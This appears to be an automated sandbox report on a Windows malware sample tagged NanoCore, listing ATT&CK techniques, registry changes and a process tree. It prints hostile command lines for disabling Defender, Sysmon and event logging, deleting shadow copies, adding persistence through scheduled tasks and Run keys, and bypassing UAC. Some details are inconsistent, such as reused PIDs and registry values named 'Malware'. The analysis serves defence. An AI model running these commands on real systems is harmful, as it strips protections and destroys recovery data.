nanocore | 8f828a602f02a2f2634f249edb90bb7593bf35394bc812975ebcd67d49bb2323

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	socoliveab.com_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	socoliveab.com_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
684	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	socoliveab.com_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	socoliveab.com_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
396	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	socoliveab.com_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	socoliveab.com_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	socoliveab.com_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	socoliveab.com_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4852	net.exe
1984	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3936	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\kernel32.dll	socoliveab.com_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	socoliveab.com_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	socoliveab.com_nano.exe
File created	C:\Windows\system32\svchost.exe	socoliveab.com_nano.exe
File created	C:\Windows\system32\sysupdate.exe	socoliveab.com_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	socoliveab.com_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5084	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	socoliveab.com_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
908	socoliveab.com_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3524	sc.exe
2920	sc.exe
744	sc.exe
2116	sc.exe
4368	sc.exe
1352	sc.exe
3768	sc.exe
5076	sc.exe
2516	sc.exe
3684	sc.exe
536	sc.exe
1744	sc.exe
2952	sc.exe
2440	sc.exe
4768	sc.exe
4400	sc.exe
1144	sc.exe
4540	sc.exe
800	sc.exe
4356	sc.exe
1560	sc.exe
4020	sc.exe
2560	sc.exe
4260	sc.exe
940	sc.exe
2812	sc.exe
4008	sc.exe
2984	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4068	cmd.exe
1780	cmd.exe
988	cmd.exe
2212	cmd.exe
4920	cmd.exe
1872	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
552	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3440	NETSTAT.EXE
2088	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4592	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4392	vssadmin.exe
3524	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\WallpaperStyle = "2"	socoliveab.com_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe"	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\.pdf\ = "PDFBotnet"	socoliveab.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	socoliveab.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open	socoliveab.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings	socoliveab.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	socoliveab.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell	socoliveab.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command	socoliveab.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell	socoliveab.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	socoliveab.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command	socoliveab.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command\DelegateExecute	socoliveab.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	socoliveab.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveab.com_nano.exe\" \"%1\""	socoliveab.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings	socoliveab.com_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2372	schtasks.exe
3564	schtasks.exe
3896	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
684	powershell.exe
684	powershell.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe
908	socoliveab.com_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
908	socoliveab.com_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	684	powershell.exe
Token: SeIncreaseQuotaPrivilege	2788	WMIC.exe
Token: SeSecurityPrivilege	2788	WMIC.exe
Token: SeTakeOwnershipPrivilege	2788	WMIC.exe
Token: SeLoadDriverPrivilege	2788	WMIC.exe
Token: SeSystemProfilePrivilege	2788	WMIC.exe
Token: SeSystemtimePrivilege	2788	WMIC.exe
Token: SeProfSingleProcessPrivilege	2788	WMIC.exe
Token: SeIncBasePriorityPrivilege	2788	WMIC.exe
Token: SeCreatePagefilePrivilege	2788	WMIC.exe
Token: SeBackupPrivilege	2788	WMIC.exe
Token: SeRestorePrivilege	2788	WMIC.exe
Token: SeShutdownPrivilege	2788	WMIC.exe
Token: SeDebugPrivilege	2788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2788	WMIC.exe
Token: SeRemoteShutdownPrivilege	2788	WMIC.exe
Token: SeUndockPrivilege	2788	WMIC.exe
Token: SeManageVolumePrivilege	2788	WMIC.exe
Token: 33	2788	WMIC.exe
Token: 34	2788	WMIC.exe
Token: 35	2788	WMIC.exe
Token: 36	2788	WMIC.exe
Token: SeDebugPrivilege	908	socoliveab.com_nano.exe
Token: SeIncreaseQuotaPrivilege	2788	WMIC.exe
Token: SeSecurityPrivilege	2788	WMIC.exe
Token: SeTakeOwnershipPrivilege	2788	WMIC.exe
Token: SeLoadDriverPrivilege	2788	WMIC.exe
Token: SeSystemProfilePrivilege	2788	WMIC.exe
Token: SeSystemtimePrivilege	2788	WMIC.exe
Token: SeProfSingleProcessPrivilege	2788	WMIC.exe
Token: SeIncBasePriorityPrivilege	2788	WMIC.exe
Token: SeCreatePagefilePrivilege	2788	WMIC.exe
Token: SeBackupPrivilege	2788	WMIC.exe
Token: SeRestorePrivilege	2788	WMIC.exe
Token: SeShutdownPrivilege	2788	WMIC.exe
Token: SeDebugPrivilege	2788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2788	WMIC.exe
Token: SeRemoteShutdownPrivilege	2788	WMIC.exe
Token: SeUndockPrivilege	2788	WMIC.exe
Token: SeManageVolumePrivilege	2788	WMIC.exe
Token: 33	2788	WMIC.exe
Token: 34	2788	WMIC.exe
Token: 35	2788	WMIC.exe
Token: 36	2788	WMIC.exe
Token: SeIncBasePriorityPrivilege	908	socoliveab.com_nano.exe
Token: SeDebugPrivilege	3440	NETSTAT.EXE
Token: SeDebugPrivilege	4704	whoami.exe
Token: SeDebugPrivilege	3936	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3860	WMIC.exe
Token: SeSecurityPrivilege	3860	WMIC.exe
Token: SeTakeOwnershipPrivilege	3860	WMIC.exe
Token: SeLoadDriverPrivilege	3860	WMIC.exe
Token: SeSystemProfilePrivilege	3860	WMIC.exe
Token: SeSystemtimePrivilege	3860	WMIC.exe
Token: SeProfSingleProcessPrivilege	3860	WMIC.exe
Token: SeIncBasePriorityPrivilege	3860	WMIC.exe
Token: SeCreatePagefilePrivilege	3860	WMIC.exe
Token: SeBackupPrivilege	3860	WMIC.exe
Token: SeRestorePrivilege	3860	WMIC.exe
Token: SeShutdownPrivilege	3860	WMIC.exe
Token: SeDebugPrivilege	3860	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3860	WMIC.exe
Token: SeRemoteShutdownPrivilege	3860	WMIC.exe
Token: SeUndockPrivilege	3860	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
908	socoliveab.com_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 684	908	socoliveab.com_nano.exe	86
PID 908 wrote to memory of 4260	908	socoliveab.com_nano.exe	87
PID 908 wrote to memory of 3684	908	socoliveab.com_nano.exe	89
PID 908 wrote to memory of 4400	908	socoliveab.com_nano.exe	92
PID 908 wrote to memory of 940	908	socoliveab.com_nano.exe	94
PID 908 wrote to memory of 1144	908	socoliveab.com_nano.exe	96
PID 908 wrote to memory of 4540	908	socoliveab.com_nano.exe	97
PID 908 wrote to memory of 2116	908	socoliveab.com_nano.exe	152
PID 908 wrote to memory of 4368	908	socoliveab.com_nano.exe	102
PID 908 wrote to memory of 800	908	socoliveab.com_nano.exe	104
PID 908 wrote to memory of 536	908	socoliveab.com_nano.exe	106
PID 908 wrote to memory of 4356	908	socoliveab.com_nano.exe	108
PID 908 wrote to memory of 1560	908	socoliveab.com_nano.exe	110
PID 908 wrote to memory of 2812	908	socoliveab.com_nano.exe	112
PID 908 wrote to memory of 1352	908	socoliveab.com_nano.exe	114
PID 908 wrote to memory of 4020	908	socoliveab.com_nano.exe	116
PID 908 wrote to memory of 4008	908	socoliveab.com_nano.exe	118
PID 908 wrote to memory of 2984	908	socoliveab.com_nano.exe	120
PID 908 wrote to memory of 1744	908	socoliveab.com_nano.exe	122
PID 908 wrote to memory of 3524	908	socoliveab.com_nano.exe	169
PID 908 wrote to memory of 2560	908	socoliveab.com_nano.exe	126
PID 908 wrote to memory of 2952	908	socoliveab.com_nano.exe	128
PID 908 wrote to memory of 2920	908	socoliveab.com_nano.exe	130
PID 908 wrote to memory of 744	908	socoliveab.com_nano.exe	167
PID 908 wrote to memory of 3768	908	socoliveab.com_nano.exe	134
PID 908 wrote to memory of 3604	908	socoliveab.com_nano.exe	135
PID 908 wrote to memory of 5076	908	socoliveab.com_nano.exe	137
PID 908 wrote to memory of 2516	908	socoliveab.com_nano.exe	139
PID 908 wrote to memory of 4392	908	socoliveab.com_nano.exe	141
PID 908 wrote to memory of 2788	908	socoliveab.com_nano.exe	143
PID 908 wrote to memory of 3896	908	socoliveab.com_nano.exe	145
PID 908 wrote to memory of 3564	908	socoliveab.com_nano.exe	193
PID 3604 wrote to memory of 4352	3604	fodhelper.exe	150
PID 908 wrote to memory of 988	908	socoliveab.com_nano.exe	154
PID 908 wrote to memory of 2212	908	socoliveab.com_nano.exe	156
PID 908 wrote to memory of 4068	908	socoliveab.com_nano.exe	157
PID 908 wrote to memory of 1872	908	socoliveab.com_nano.exe	158
PID 908 wrote to memory of 4920	908	socoliveab.com_nano.exe	159
PID 908 wrote to memory of 1780	908	socoliveab.com_nano.exe	163
PID 908 wrote to memory of 2372	908	socoliveab.com_nano.exe	166
PID 908 wrote to memory of 5084	908	socoliveab.com_nano.exe	168
PID 988 wrote to memory of 3524	988	cmd.exe	169
PID 1780 wrote to memory of 3440	1780	cmd.exe	200
PID 2212 wrote to memory of 4592	2212	cmd.exe	171
PID 1872 wrote to memory of 4704	1872	cmd.exe	172
PID 4068 wrote to memory of 3936	4068	cmd.exe	173
PID 4920 wrote to memory of 2088	4920	cmd.exe	174
PID 988 wrote to memory of 3860	988	cmd.exe	175
PID 908 wrote to memory of 2752	908	socoliveab.com_nano.exe	176
PID 908 wrote to memory of 4924	908	socoliveab.com_nano.exe	177
PID 908 wrote to memory of 396	908	socoliveab.com_nano.exe	180
PID 908 wrote to memory of 2440	908	socoliveab.com_nano.exe	181
PID 908 wrote to memory of 4768	908	socoliveab.com_nano.exe	185
PID 908 wrote to memory of 4892	908	socoliveab.com_nano.exe	186
PID 908 wrote to memory of 552	908	socoliveab.com_nano.exe	187
PID 4924 wrote to memory of 2848	4924	net.exe	190
PID 908 wrote to memory of 4852	908	socoliveab.com_nano.exe	191
PID 908 wrote to memory of 3564	908	socoliveab.com_nano.exe	193
PID 3564 wrote to memory of 2632	3564	net.exe	195
PID 4852 wrote to memory of 1984	4852	net.exe	196

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe
"C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4400
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:940
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1144
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4368
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:4356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:1560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:2812
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:1352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:4020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:4008
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:2984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1744
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:3524
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:2560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:2952
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:2920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:744
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:3768
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe"
    3⤵
    PID:4352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2516
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4392
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3896
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\socoliveab.com_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3524
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
